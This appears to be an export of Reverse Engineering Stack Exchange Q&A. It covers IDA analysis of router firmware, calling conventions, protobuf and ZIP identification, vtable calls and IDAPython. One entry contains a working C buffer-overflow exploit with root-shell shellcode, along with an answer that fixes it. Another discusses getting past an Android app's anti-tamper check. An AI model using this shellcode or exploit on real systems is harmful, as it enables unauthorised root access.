    $ readelf -d httpd\n\nDynamic section at offset 0xae00c contains 31 entries:\n  Tag        Type                         Name/Value\n 0x00000001 (NEEDED)                     Shared library: [libnat.so]\n 0x00000001 (NEEDED)                     Shared library: [libnvram.so]\n 0x00000001 (NEEDED)                     Shared library: [libacos_shared.so]\n 0x00000001 (NEEDED)                     Shared library: [libcrypt.so.0]\n 0x00000001 (NEEDED)                     Shared library: [libgcc_s.so.1]\n 0x00000001 (NEEDED)                     Shared library: [libssl.so.1.0.0]\n 0x00000001 (NEEDED)                     Shared library: [libcrypto.so.1.0.0]\n 0x00000001 (NEEDED)                     Shared library: [libc.so.0]\n
    \n\n

    to know which libraries to look at, should the need come up.

    \n\n

    Last but not least I loaded the ELF file httpd into IDA Pro 7.1, turned to the Strings subview using Shift+F12 and started looking for the .cgi names. The apply.cgi you mentioned does not exist (verified by using strings on httpd and grep -R apply\\.cgi fmk/rootfs/www). So I needed to pick another CGI as an example.

    \n\n

    I went for userlogin.cgi, which was one of the first names to come up when searching for text .cgi from top down using Alt+T in IDA View-A.

    \n\n

    Listing the cross-references (x) to the string containing userlogin.cgi:

    \n\n
    .rodata:000823DC aUserloginCgi   DCB \"userlogin.cgi\",0\n
    \n\n

    turned up several references to sub_F110 (.text:0000F110...text:0001289C), which - when following these cross-references - turned out to be one central \"mega-function\" for parsing HTTP requests and handling the requests to any number of hardcoded .cgi and .htm \"file names\". (NB: make sure to look for references to strings containing cgi-bin as well.)

    \n\n

    So your suspicion, based on that quote, was true and with the sole exception of the genie.cgi found on the file system, all other .cgi \"files\" are handled directly by the massive 1.3 MiB httpd binary.

    \n\n

    The binary contains strings aplenty and apparently even some assertion strings among them.

    \n" }, { "Id": "15368", "CreationDate": "2017-05-18T09:11:52.323", "Body": "

    I have both a Mac and Windows version of the same library. However, while the Mac version has export symbols, the Windows version exports by ordinal. The Mac version uses the PPC architecture making it more difficult to reverse.

    \n\n

    Is there any way to heuristically compare these subroutines and copy the export symbols from the Mac version to the Windows version so that I can view them within IDA Pro for the Windows version?

    \n", "Title": "Copy Export Symbols From Mac to Windows PE", "Tags": "|ida|windows|powerpc|", "Answer": "

    The Diaphora tool by Joxean Koret can match functions in binaries with different architectures using multiple algorithms.

    \n\n

    You can also always do it manually: make one match using strings or magic numbers used, then follow cross-references to find more matches.

    \n" }, { "Id": "15376", "CreationDate": "2017-05-19T13:24:48.987", "Body": "

    So I noticed that I can write something in PE from the executable

    \n\n

    For example if I write 1911 he tells me

    \n\n

    [!]Cracked By RAZOR 1911

    \n\n

    But if I write something else it will not tell me anything. What is the reason for this?

    \n\n

    What names or numbers are included?

    \n", "Title": "Crack an executable in PE", "Tags": "|windows|pe|exe|", "Answer": "

    You are using ProtectionID which scans the header for warez group names who like to include them in cracked executables. It doesn't recognize any string that's not a group name defined by the PID's author.

    \n" }, { "Id": "15378", "CreationDate": "2017-05-19T16:17:12.673", "Body": "

    I am trying to extract data from a proprietary file type: .take. I am unfamiliar with file compression and encoding, but it appears as if this file type is acting as some sort of wrapper for other files. Refer to the following Google Drive \"preview\". I guess the file has some sort of MIME metadata so Drive can figure out it's contents, but I can't open it with any unzip programs!

    \n\n

    \"enter

    \n\n

    From the looks of this, this file contains some very common file formats (XML, videos, pictures, protobuf). I need to extract these files, but cannot download them directly! The only application I can open the file in is a text editor, and when I do the data is neatly organized in 32-bit chunks. Possible FourCC identification?

    \n\n

    \"enter

    \n\n

    I can obviously write a script to read this data in but I am unsure of even the encoding! What suggestions or techniques might I employ to extract the files? . Can I leverage the fact that I know the details of the compressed files?

    \n\n

    Download the file here: http://www.filehosting.org/file/details/666710/QkDRIV0yPMo9llWF/file.take

    \n", "Title": "Strange File Format: How to unpack a set of compressed files?", "Tags": "|file-format|decompress|", "Answer": "

    There is nothing special about this file. It's just a ZIP archive.

    \n\n

    \"header\"

    \n\n

    See that 50 4B 03 04? The PK is a dead giveaway when you take a peak. This is the \"magic number\" identifier for a ZIP archive.

    \n\n

    Your standard unzip will work fine:

    \n\n
    ~/Downloads \u00bb unzip file.take\nArchive:  file.take\n extracting: Bryan Potter - 2017 04 26 110613-balltrajectory.pbuf\n extracting: Bryan Potter - 2017 04 26 110613-clubtrajectory.pbuf\n extracting: Bryan Potter - 2017 04 26 110613-forceplate.pbuf\n extracting: Bryan Potter - 2017 04 26 110613-pressure.pbuf\n extracting: Bryan Potter - 2017 0426 110616 AVT Manta_G-033C Down the line.avi\n extracting: Bryan Potter - 2017 0426 110616 AVT Manta_G-033C Down the line.jpg\n extracting: Bryan Potter - 2017 0426 110616 AVT Manta_G-033C Face on right.avi\n extracting: Bryan Potter - 2017 0426 110616 AVT Manta_G-033C Face on right.jpg\n extracting: data.xml\n
    \n\n

    The binwalk @SYS_V ran said as much, it just wasn't very clear about it. It mentions finding the footer and just assumes you understand what that means.

    \n\n
    30047692      0x1CA7DCC       End of Zip archive, footer length: 22\n
    \n" }, { "Id": "15384", "CreationDate": "2017-05-20T02:51:49.873", "Body": "

    I tried to exploiting buffer overflow. In the exploit code\nI use the Aleph-One shellcode.

    \n\n
    \"\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b\"\n\"\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd\"\n\"\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh\"\n
    \n\n

    Exploitation is normal, but I modified a little shellcode\nIn order to execute setuid(0) and setgid(0), on exploit\nI have changed the owner of the exploit into root.

    \n\n
    \"\\x31\\xdb\\x89\\xd8\\xb0\\x17\\xcd\\x80\" // setuid(0)\n\"\\x31\\xdb\\x89\\xd8\\xb0\\x2e\\xcd\\x80\" // setgid(0)\n\"\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b\"\n\"\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd\"\n\"\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh\"\n
    \n\n

    When in execution, I get the message Illegal Instruction (core dumped)

    \n\n

    Note:

    \n\n
      \n
    1. I have disabled ASLR
      2. \n
    2. The vulnerable and exploit programs are compiled using flag -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
      3. \n
    \n\n

    Complete exploit code :

    \n\n
    #include <string.h>\n#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\n\nchar *prog = \"./bof4\";\nchar shellcode[] = \n   //\"\\xeb\\x0appssssffff\"\n   \"\\x31\\xdb\\x89\\xd8\\xb0\\x17\\xcd\\x80\"\n   \"\\x31\\xdb\\x89\\xd8\\xb0\\x2e\\xcd\\x80\"\n   \"\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b\"\n   \"\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd\"\n   \"\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh\";\n\nint main (int argc, char **argv) {\n    char buff[111];\n    int i, j;\n    int addr;\n\n    if (argc > 1)\n            sscanf(*(argv+1), \"%x\", &addr);\n    else\n            exit(0);\n    for (i = 0; i < 35; i++) {\n            *(buff+i) = 0x90;\n    }\n    for (j = 0; j < 45; j++, i++) {\n            *(buff+i) = *(shellcode+j);\n    }\n    for (; i + 4 < 110; i += 4) {\n            memcpy(buff+i, &addr, 4);\n    }\n    buff[108] = 0;\n    fwrite(buff, strlen(buff), 1, stdout);\n}\n
    \n\n

    Can anyone explain ?

    \n", "Title": "Why always get the message \"Illegal Instruction (core dumped)\"?", "Tags": "|x86|linux|exploit|buffer-overflow|", "Answer": "

    Just by guessing as you has the core dump and could check that for sure.

    \n\n

    Isn't your issue that the exploit was 45 bytes long and this is what you iterate in the second loop and now when you added more code (setuid(0) & setgid(0)) the loop just finishes in the middle?

    \n\n

    Extend your second loop by 16 and check.

    \n\n
    for (j = 0; j < 61; j++, i++) {\n    *(buff+i) = *(shellcode+j);\n}\n
    \n" }, { "Id": "15391", "CreationDate": "2017-05-20T13:49:32.913", "Body": "

    Consider folowing example code:

    \n\n
    program code\n\n\nbuild/program-x86:     file format elf32-i386\n\nDisassembly of section my_text:\n\n080a9dfc <subroutine_fnc>:\n 80a9dfc:   55                      push   %ebp\n 80a9dfd:   89 e5                   mov    %esp,%ebp\n 80a9dff:   57                      push   %edi\n 80a9e00:   56                      push   %esi\n 80a9e01:   53                      push   %ebx\n 80a9e02:   83 ec 14                sub    $0x14,%esp        // 20 bytes for local variables\n 80a9e05:   c7 45 e0 00 00 00 00    movl   $0x0,-0x20(%ebp)  // zero local variable at address bp-0x20\n 80a9e0c:   8d 7d f3                lea    -0xd(%ebp),%edi   // pointer in area of the local variables\n 80a9e0f:   8b 75 0c                mov    0xc(%ebp),%esi    // 2. parameter\n 80a9e12:   83 c6 30                add    $0x30,%esi        // add ascii ASCII '0' to the parameter\n\n 80a9e15:   ba 01 00 00 00          mov    $0x1,%edx         // constatnt 1\n 80a9e1a:   8b 5d 08                mov    0x8(%ebp),%ebx    // 1. function parameter\n 80a9e1d:   89 f9                   mov    %edi,%ecx         // local buffer\n 80a9e1f:   b8 03 00 00 00          mov    $0x3,%eax         // syscall read\n 80a9e24:   cd 80                   int    $0x80             // read(par1, ptr to local var, 1)\n 80a9e26:   83 f8 01                cmp    $0x1,%eax         // return value is 1?\n 80a9e29:   74 0c                   je     80a9e37 <subroutine_fnc+0x3b>  // yes\n 80a9e2b:   bb 01 00 00 00          mov    $0x1,%ebx\n 80a9e30:   b8 01 00 00 00          mov    $0x1,%eax\n 80a9e35:   cd 80                   int    $0x80             // no exit(1)\n\n 80a9e37:   0f b6 45 f3             movzbl -0xd(%ebp),%eax   // expand value to 32 bits\n 80a9e3b:   3c 2f                   cmp    $0x2f,%al         // is value < ASCII '0'\n 80a9e3d:   7e 17                   jle    80a9e56 <subroutine_fnc+0x5a>  // yes end of the subroutine\n 80a9e3f:   0f be d0                movsbl %al,%edx\n 80a9e42:   39 f2                   cmp    %esi,%edx         // is value above >= par2 + '0'\n 80a9e44:   7d 10                   jge    80a9e56 <subroutine_fnc+0x5a>  // yes => end\n 80a9e46:   8b 45 0c                mov    0xc(%ebp),%eax    // read again param2\n 80a9e49:   0f af 45 e0             imul   -0x20(%ebp),%eax  // multiply ebp-0x20 by param2\n 80a9e4d:   8d 54 10 d0             lea    -0x30(%eax,%edx,1),%edx // add result with read character - ASCII '0'\n 80a9e51:   89 55 e0                mov    %edx,-0x20(%ebp)  // store result to the local variable at ebp-0x20\n 80a9e54:   eb bf                   jmp    80a9e15 <subroutine_fnc+0x19>  // repeat\n\n 80a9e56:   8b 45 e0                mov    -0x20(%ebp),%eax  // function returns value from local variable at ebp-0x20\n 80a9e59:   83 c4 14                add    $0x14,%esp\n 80a9e5c:   5b                      pop    %ebx\n 80a9e5d:   5e                      pop    %esi\n 80a9e5e:   5f                      pop    %edi\n 80a9e5f:   5d                      pop    %ebp\n 80a9e60:   c3                      ret    \n\n080a9e61 <toplevel_fnc>:\n 80a9e61:   55                      push   %ebp\n 80a9e62:   89 e5                   mov    %esp,%ebp\n 80a9e64:   57                      push   %edi\n 80a9e65:   56                      push   %esi\n 80a9e66:   53                      push   %ebx\n 80a9e67:   83 ec 20                sub    $0x20,%esp         // reserve stack space for local variables\n 80a9e6a:   c6 45 f3 41             movb   $0x41,-0xd(%ebp)   // store ASCII 'A' at ebp-0xd\n 80a9e6e:   c7 44 24 04 0a 00 00    movl   $0xa,0x4(%esp)     // store 10 to the first 32-bit slot bellow stack top\n 80a9e75:   00 \n 80a9e76:   c7 04 24 00 00 00 00    movl   $0x0,(%esp)        // store zero to the stack top\n 80a9e7d:   e8 7a ff ff ff          call   80a9dfc <subroutine_fnc> // call subroutine_fnc(0,10)\n 80a9e82:   89 c7                   mov    %eax,%edi          // store result\n 80a9e84:   ba 80 01 00 00          mov    $0x180,%edx\n 80a9e89:   b9 42 02 00 00          mov    $0x242,%ecx\n 80a9e8e:   be 00 7f 0c 08          mov    $0x80c7f00,%esi    // setup pointer to \"data\"\n 80a9e93:   89 f3                   mov    %esi,%ebx\n 80a9e95:   b8 05 00 00 00          mov    $0x5,%eax          // syscall open\n 80a9e9a:   cd 80                   int    $0x80              // open(\"data\", 0x242, 0x180)\n 80a9e9c:   89 45 dc                mov    %eax,-0x24(%ebp)   // store result to ebp-0x24\n 80a9e9f:   85 c0                   test   %eax,%eax          // set flags according to the eax test\n 80a9ea1:   79 0e                   jns    80a9eb1 <toplevel_fnc+0x50>  // sign is not set (>=0)\n 80a9ea3:   b8 01 00 00 00          mov    $0x1,%eax\n 80a9ea8:   89 c3                   mov    %eax,%ebx\n 80a9eaa:   b8 01 00 00 00          mov    $0x1,%eax          // syscall exit\n 80a9eaf:   cd 80                   int    $0x80              // exit(1)\n\n 80a9eb1:   89 7d e0                mov    %edi,-0x20(%ebp)   // store subroutine_fnc result into ebp-0x20\n 80a9eb4:   8d 75 f3                lea    -0xd(%ebp),%esi    // ebp-0xd is pointer to the 'A' character\n 80a9eb7:   eb 22                   jmp    80a9edb <toplevel_fnc+0x7a>\n\n 80a9eb9:   8b 5d dc                mov    -0x24(%ebp),%ebx   // fill ebx by open result (fd)\n 80a9ebc:   89 f1                   mov    %esi,%ecx          // pointer to 'A'\n 80a9ebe:   ba 01 00 00 00          mov    $0x1,%edx\n 80a9ec3:   b8 04 00 00 00          mov    $0x4,%eax          // syscall write\n 80a9ec8:   cd 80                   int    $0x80              // write(fd from open, \"A\", 1)\n 80a9eca:   85 c0                   test   %eax,%eax          // check result\n 80a9ecc:   79 09                   jns    80a9ed7 <toplevel_fnc+0x76>\n 80a9ece:   89 d3                   mov    %edx,%ebx          // setup sign\n 80a9ed0:   b8 01 00 00 00          mov    $0x1,%eax\n 80a9ed5:   cd 80                   int    $0x80              // exit(1)\n 80a9ed7:   83 6d e0 01             subl   $0x1,-0x20(%ebp)   // subtract 1 from ebp-0x20\n 80a9edb:   83 7d e0 00             cmpl   $0x0,-0x20(%ebp)   // value 0 reached\n 80a9edf:   75 d8                   jne    80a9eb9 <toplevel_fnc+0x58> // no => repeat\n\n 80a9ee1:   8b 5d dc                mov    -0x24(%ebp),%ebx   // fd from open syscall\n 80a9ee4:   b8 06 00 00 00          mov    $0x6,%eax          // syscall close\n 80a9ee9:   cd 80                   int    $0x80              // close(fd from open)\n 80a9eeb:   85 c0                   test   %eax,%eax          // test result\n 80a9eed:   79 0e                   jns    80a9efd <toplevel_fnc+0x9c>\n 80a9eef:   b8 01 00 00 00          mov    $0x1,%eax\n 80a9ef4:   89 c3                   mov    %eax,%ebx\n 80a9ef6:   b8 01 00 00 00          mov    $0x1,%eax\n 80a9efb:   cd 80                   int    $0x80              // for error exit exit(1)\n\n 80a9efd:   89 f8                   mov    %edi,%eax          // restore saved result of\n                                                                  // subroutine_fnc call\n 80a9eff:   83 c4 20                add    $0x20,%esp\n 80a9f02:   5b                      pop    %ebx\n 80a9f03:   5e                      pop    %esi\n 80a9f04:   5f                      pop    %edi\n 80a9f05:   5d                      pop    %ebp\n 80a9f06:   c3                      ret    \n\nprogram data\n\n\nbuild/program-x86:     file format elf32-i386\n\nContents of section my_data:\n 80c7f00 64617461 00                          data.           \n
    \n\n

    How can I, in general, learn what arguments does subroutine_fnc use? I am interested in general approach to this. I understand it may not always be 100% possible, but I'm interesting in learning the basics at least.

    \n", "Title": "How to figure out method argument sizes and types in elf32-i386 disasembly?", "Tags": "|disassembly|arguments|", "Answer": "

    The basics

    \n\n

    1. Requisite information: calling convention

    \n\n

    In order to determine how arguments are passed to functions, the calling convention must be known.

    \n\n

    Function calling conventions depend on the target architecture and the compiler1 (see also: Calling conventions for different C++ compilers and operating systems by Agner Fog). It is not so important that the compiler used to create the code being disassembled above is not explicitly stated because there is enough information in the output to determine target architecture and calling convention.

    \n\n

    From the disassembly above, we observe that the instruction set is x86, and the calling convention is cdecl.

    \n\n

    2. Identifying the calling convention

    \n\n

    In this case we can deduce the calling convention from the above disassembly. We observe behavior that conforms to what is expected of callee functions in terms of saving and restoring registers according to the cdecl convention:

    \n\n
    080a9e61 <toplevel_fnc>:\n 80a9e61:   55                      push   %ebp\n 80a9e62:   89 e5                   mov    %esp,%ebp\n 80a9e64:   57                      push   %edi         \n 80a9e65:   56                      push   %esi         \n 80a9e66:   53                      push   %ebx         \n 80a9e67:   83 ec 20                sub    $0x20,%esp\n    .\n    .\n    .\n 80a9eff:   83 c4 20                add    $0x20,%esp\n 80a9f02:   5b                      pop    %ebx\n 80a9f03:   5e                      pop    %esi\n 80a9f04:   5f                      pop    %edi\n 80a9f05:   5d                      pop    %ebp\n 80a9f06:   c3                      ret  \n
    \n\n

    and

    \n\n
    080a9dfc <subroutine_fnc>:\n 80a9dfc:   55                      push   %ebp\n 80a9dfd:   89 e5                   mov    %esp,%ebp\n 80a9dff:   57                      push   %edi\n 80a9e00:   56                      push   %esi\n 80a9e01:   53                      push   %ebx\n 80a9e02:   83 ec 14                sub    $0x14,%esp\n    .\n    .\n    .\n 80a9e59:   83 c4 14                add    $0x14,%esp\n 80a9e5c:   5b                      pop    %ebx\n 80a9e5d:   5e                      pop    %esi\n 80a9e5e:   5f                      pop    %edi\n 80a9e5f:   5d                      pop    %ebp\n 80a9e60:   c3                      ret\n
    \n\n

    In both functions the conventional x86 function prologue is followed by saving the values in registers %edi, %esi and %ebx on the stack. These registers are referred to as callee-save registers (vs. caller-save registers %eax, %ecx and %edx). The previous values of these registers are then restored before ret is executed.

    \n\n

    Note: the stack frame for function <toplevel_fnc> is clearly aligned to a 16-byte boundary, indicating that GCC is probably the compiler used to generate the code.

    \n\n

    3. Passing arguments to functions in cdecl

    \n\n
    \n

    To make a subrouting call, the caller should:

    \n \n
      \n

    1. Before calling a subroutine, the caller should save the contents of certain registers that are designated caller-saved. The caller-saved registers are EAX, ECX, EDX. Since the called subroutine is allowed to modify these registers, if the caller relies on their values after the subroutine returns, the caller must push the values in these registers onto the stack (so they can be restore after the subroutine returns.

      2. \n

    2. To pass arguments to the subroutine, push them onto the stack before the call. The arguments should be pushed in inverted order (i.e. last argument first). Since the stack grows down, the first argument will be stored at the lowest address (this inversion of arguments was historically used to allow functions to be passed a variable number of arguments).

      3. \n

    3. To call the subroutine, use the call instruction. This instruction places the return address on top of the arguments on the stack, and branches to the subroutine code. This invokes the subroutine, which should follow the callee rules below.2

      4. \n
    \n
    \n\n

    The arguments to be passed to <subroutine_fnc> will be saved on the stack prior to the function being called:

    \n\n
    080a9e61 <toplevel_fnc>:\n 80a9e61:   55                      push   %ebp\n 80a9e62:   89 e5                   mov    %esp,%ebp\n 80a9e64:   57                      push   %edi\n 80a9e65:   56                      push   %esi\n 80a9e66:   53                      push   %ebx\n 80a9e67:   83 ec 20                sub    $0x20,%esp         \n 80a9e6a:   c6 45 f3 41             movb   $0x41,-0xd(%ebp)\n 80a9e6e:   c7 44 24 04 0a 00 00    movl   $0xa,0x4(%esp)            <- arg 2\n 80a9e75:   00 \n 80a9e76:   c7 04 24 00 00 00 00    movl   $0x0,(%esp)               <- arg 1\n 80a9e7d:   e8 7a ff ff ff          call   80a9dfc <subroutine_fnc>\n
    \n\n
    \n

    How can I, in general, learn what arguments does subroutine_fnc use?

    \n
    \n\n

    In simple cases (no optimization), if the calling convention is known, there is a good chance the function arguments can be discovered.

    \n\n

    The not so basics: optimization

    \n\n

    Let us examine disassembly of some object code produced from simple example source (see below) when gcc is executed with the -O3 argument (maximum optimization):

    \n\n
    080482f0 <main>:\n 80482f0:       b8 01 00 00 00          mov    $0x1,%eax\n 80482f5:       c3                      ret\n\n080483f0 <function>:\n 80483f0:       8b 44 24 08             mov    0x8(%esp),%eax\n 80483f4:       03 44 24 04             add    0x4(%esp),%eax\n 80483f8:       03 44 24 0c             add    0xc(%esp),%eax\n 80483fc:       c3                      ret    \n
    \n\n

    What are the arguments to <main>? What are the arguments to <function>? What is the relationship between these two functions, if any?

    \n\n

    We can see that quite a bit of information is simply not present in optimized code.

    \n\n

    The difference between the optimized object code and unoptimized object code is huge. Unoptimized assembly of the source can be found here: https://godbolt.org/g/HS57Wp

    \n\n

    Here is the source code (try to guess what is going on, then move the mouse cursor over the block below):

    \n\n
    \n

    int function(int a, int b, int c); //prototype\n\n int main(void)\n {\n int a = 1;\n int b = 2;\n int c = 3;\n int k = function(a, b, c);\n return k / 6;\n }
    \n int function(int a, int b, int c)\n {\n return a + b + c;\n }

    \n
    \n\n

    As we can see from the very simple example above, optimization throws the calling convention out the window, leaving one hard-pressed to figure out what is really happening in the code. In the optimized code, there was no call intruction in <main>, which makes argument identification rather difficult.

    \n\n

    More discussion of this can be found here: How many arguments are passed in a function call?

    \n\n

    The even less basics: variable type recovery

    \n\n
    \n

    How to figure out method argument sizes and types in elf32-i386 disasembly?

    \n
    \n\n

    Deducing function argument types from disassembly of object code is referred to as type recovery, and is closely related to variable recovery. Both are difficult problems and the subject of research.

    \n\n

    The notion of variables and types does not exist in object code. A variable name is a label that is given a memory address which corresponds to the data located at that address. While type information is necessary for the compiler to evaluate syntatical and semantic correctness of source code, object code that is executed directly by the CPU does not preserve this information (at least not directly).

    \n\n
    \n

    The type recovery task, which gives a high-level type to each variable, is more challenging. Type recovery is challenging because high-level types are typically thrown away by the compiler early on in the compilation process. Within the compiled code itself we have byte-addressable memory\n and registers. For example, if a variable is put into eax, it is easy to conclude that it is of a type compatible with 32-bit register, but difficult to infer high-level types such as signed integers, pointers, unions, and structures.

    \n \n

    Current solutions to type recovery take either a dynamic\n approach, which results in poor program coverage, or use unprincipled heuristics, which often given incorrect results. Current static-based tools typically employ some knowledge about well-known function prototypes to infer parameters, and then use proprietary heuristics that seem to guess the type of remaining variables such as locals. 3

    \n
    \n\n

    Different decompilers take different approaches to this class of problems. Here is the approach taken by TIE (Type Inference on Executables):

    \n\n

    \"TIE

    \n\n

    Hex-rays discusses their approach in their whitepaper, Decompilers and beyond.

    \n\n
    \n\n

    1. Calling convention (Wikipedia)

    \n\n

    2. x86 Assembly Guide (It should be noted that the term \"parameter\" is used incorrectly - it should be \"argument\")

    \n\n

    3. TIE: Principled Reverse Engineering of Types in Binary Programs

    \n" }, { "Id": "15394", "CreationDate": "2017-05-21T03:07:15.247", "Body": "

    I'm reverse engineering an Android app, and it has some kind of anti-tamper protection. The problem is that I can't find it anywhere in the smali files.

    \n\n

    Even if I just re-sign the official APK that I downloaded straight from the Play Store, it detects that it has been tampered with, so it must either be checking file sizes or signatures. I've grepped all the smali files for things like \"signature\" and \"getPackageInfo\" to try and find where it's getting the signature from, but I cannot find anything.

    \n\n

    What other methods are there to figure out if the APK has been re-signed, even when nothing else has been altered? It is not using SafetyNet.

    \n", "Title": "Anti-tampering techniques in Android APK's", "Tags": "|android|java|apk|dalvik|", "Answer": "

    Your best bet is to just start reading through the code and see everything it does. It almost certainly is checking signatures, just in a way that your search missed. That could be because it is using an API you didn't search for, or because the code is obfuscated, or because you messed up the search. Note that there are a lot of APIs that could be used to get information about the app. For example, it could be using the JarFile getResource() API. The most reliable method is to just read the code.

    \n\n

    Also don't forget to look in the native code, if any! You can check whether the app is using native code by looking in the libs folder. This is a bit of a longshot though, since most programmers are too lazy to write native code. If they are doing the checks in native code, it's probably an off the shelf packer/obfuscator.

    \n\n

    For completeness, I should mention that there are several features of an app that depend on its signature. For example, it could be using a signature based permission or a shared userid, each of which would break if you resigned the app. I've never heard of these being used for tamper detection though.

    \n" }, { "Id": "15396", "CreationDate": "2017-05-21T11:07:32.473", "Body": "

    I'm trying to write a Python script for IDA that hooks into debugging events, and prints some info about the xmm registers. I tried

    \n\n
    idc.GetRegValue(\"xmm0\")\n
    \n\n

    But that returns a random long, which changes every time I call the function. I looked at the source, and it looks like GetRegValue is always returning an integer value.

    \n\n

    So I tried running the underlying code directly:

    \n\n
    rv = idaapi.regval_t()\nidaapi.get_reg_val(\"xmm0\", rv)\nprint (rv.fval)\n
    \n\n

    Which prints:

    \n\n
    <Swig Object of type 'UINT16 *' at 0x073E1F08>\n
    \n\n

    There does not appear to be a way to extract a float from that either.

    \n\n

    So how do I actually get the value of an xmm register?

    \n", "Title": "Accesssing xmm registers in IDAPython", "Tags": "|idapython|", "Answer": "
    rv = idaapi.regval_t()\nidaapi.get_reg_val(\"xmm0\", rv)\nprint (rv.bytes().encode('hex'))\n
    \n\n

    This will give you the raw 256 bit value of the xmm0 register. Depending on how the program you're debugging is using the register, this might contain various things. In my case, the code I'm debugging uses it as 4 floating point values. To parse them:

    \n\n
    import struct\nprint(struct.unpack('ffff', rv.bytes()))\n
    \n\n

    if your debuggee is using the register as two doubles, you would use 'dd' instead of 'ffff'.

    \n\n

    In general, look up the SDK documentation instead of the (not very good) IDAPython documentation. Here's the relevant page for this: https://www.hex-rays.com/products/ida/support/sdkdoc/structregval__t.html

    \n" }, { "Id": "15407", "CreationDate": "2017-05-23T02:13:17.087", "Body": "

    I have a closed source Linux library libfoo that makes calls into another closed source library libbar for additional (mostly unneeded) features. However, I can't use libbar for ethical reasons, so I am trying to make a dummy library libfakebar that \"implements\" as little as possible of libbar while still being able to be used as a drop-in replacement (i.e., as close as possible to a collection of stubs).

    \n\n

    I initially tried to simply extract the defined symbols from libbar via nm -D --defined-only libbar.so and only create stubs for those symbols, referencing the available public documentation for the appropriate function signatures. However, this fails when libfoo attempts to make calls that are not based on symbols. Specifically, it calls BarInstance() in libbar to get a pointer to a C++ class instance, adds a seemingly arbitrary value to that pointer, then uses the value found at the new address as a pointer to the next function it calls. Here is an example demonstrating this:

    \n\n
    callq  0x7fff97158300 <BarInstance@plt>\nmov    (%rax),%r8\nlea    0x96c165(%rip),%rcx        # 0x7fff97b50e65\nmov    %ebp,%edx\nmov    %r12d,%esi\nmov    %rax,%rdi\ncallq  *0x28(%r8)\n
    \n\n

    I can't understand how this is supposed to make sense or be \"legal\" code. Remarkably, if I make BarInstance() return a collection of pointers to stub functions instead of a class instance, libfoo runs without complaints and everything \"works\". Unfortunately, it's not quite good enough to meet my minimum functionality requirements as there is at least one feature I need that doesn't work with said stubs, and the strange calling behaviour of libfoo doesn't lend itself towards helping me understand what more may need to be added where.

    \n\n

    I'm not sure what impact this may make, but it appears as though libbar was built using GCC's -fvisibility=hidden. I have not been able to figure out exactly what to make of the above calling behaviour and as such what I need to do in libfakebar in order to properly replicate whatever is necessary for libfoo's code to work as expected - what's going on here?

    \n", "Title": "Determining an application's library call behaviour", "Tags": "|disassembly|x86|linux|c++|libraries|", "Answer": "

    This appears to be fairly typical virtual function call where the pointer to the virtual function table is stored in the object at offset 0000 and the call is to the function pointed to at offset 0028 in the table.

    \n\n

    The object's virtual function table pointer (at offset 0000) is initialized in the class constructor. Since the constructor will be in the library, there does not need to be any direct reference to the virtual function table in the calling code.\nSimilarly, a normal call to virtual function is via the virtual function table and there is no need for any direct reference to it in the calling code either.

    \n\n

    For consistency between the application and library, it is important that both

    \n\n\n\n

    For more information about this you might want to read about binary compatibility.

    \n\n

    One of the things specified by an ABI is the order of the functions in the virtual function table. For example, the Itanium C++ ABI (used by GCC) says

    \n\n
    \n

    \"The order of the virtual function pointers in a virtual table is the order of declaration of the corresponding member functions in the class.\"

    \n
    \n\n

    Hence, if the declaration order were to change between building the library and building the application there will no longer be binary compatibility.

    \n" }, { "Id": "15414", "CreationDate": "2017-05-23T19:53:13.147", "Body": "

    I have a number of protobuf files but no .proto schema file!

    \n\n

    cat myfile.pbuf | protoc --decode_raw > outputfile.txt

    \n\n

    Using the above command, I was able to decode the file into a somewhat readable protobuf format (Thanks):

    \n\n
    1: 1\n2: \"\"\n2 {\n  1: 0x40133f7ced916873\n  2: 0x3ff70e5604189375\n  3: 0xbfd23d70a3d70a3d\n  4: 0x3fb999999999999a\n}\n2 {\n  1: 0x4022e7ef9db22d0e\n  2: 0x4006ed916872b021\n  3: 0xbfe1cac083126e98\n  4: 0x3fc999999999999a\n}\n2 {\n  1: 0x402bdcac083126e9\n  2: 0x40111374bc6a7efa\n  3: 0xbfe9fbe76c8b4396\n  4: 0x3fd3333333333333\n}\n2 {\n  1: 0x40324147ae147ae1\n  2: 0x401696872b020c4a\n  3: 0xbff0e147ae147ae1\n  4: 0x3fd999999999999a\n}\n...\n
    \n\n

    I know without the schema I cannot know the meaning of these values, but I am wondering if there is anything else I can do to deduce what this strangeness is! The protobuf documentation seems to indicate that numerical data is served in 2 or 4 byte chunks, which I could easily convert to ints or floats.

    \n\n

    My data does not fit into this format, but I know it to be numerical data! I've never seen a protobuf file with the hex x notation, and there are 16 bytes (way too many for a single number!).

    \n\n

    What datatype might this be, is it possible to decode and further without the schema, and are the 1, 2, 3, 4 useful or significant?

    \n", "Title": "Deducing Protobuf Schema and Datatypes", "Tags": "|file-format|python|encodings|protocol|", "Answer": "

    I suspect these are IEEE doubles. For example, 0x3fd3333333333333 is 2.99999999999999988897769753748E-1, or around 0.3. I used this converter to check

    \n" }, { "Id": "15418", "CreationDate": "2017-05-24T11:53:55.563", "Body": "

    Hello reverse engineers,

    \n\n

    I'm analysing a fat Macho-O binary, and it has an ADRP and an ADD instruction in it.\nI'm talking about these instructions:

    \n\n
    __text:00000001002E050C                 ADRP            X8, #some_function@PAGE\n__text:00000001002E0510                 ADD             X8, X8, #some_function@PAGEOFF\n
    \n\n

    The ADRP instruction has the bytes \"08 00 00 90\".

    \n\n

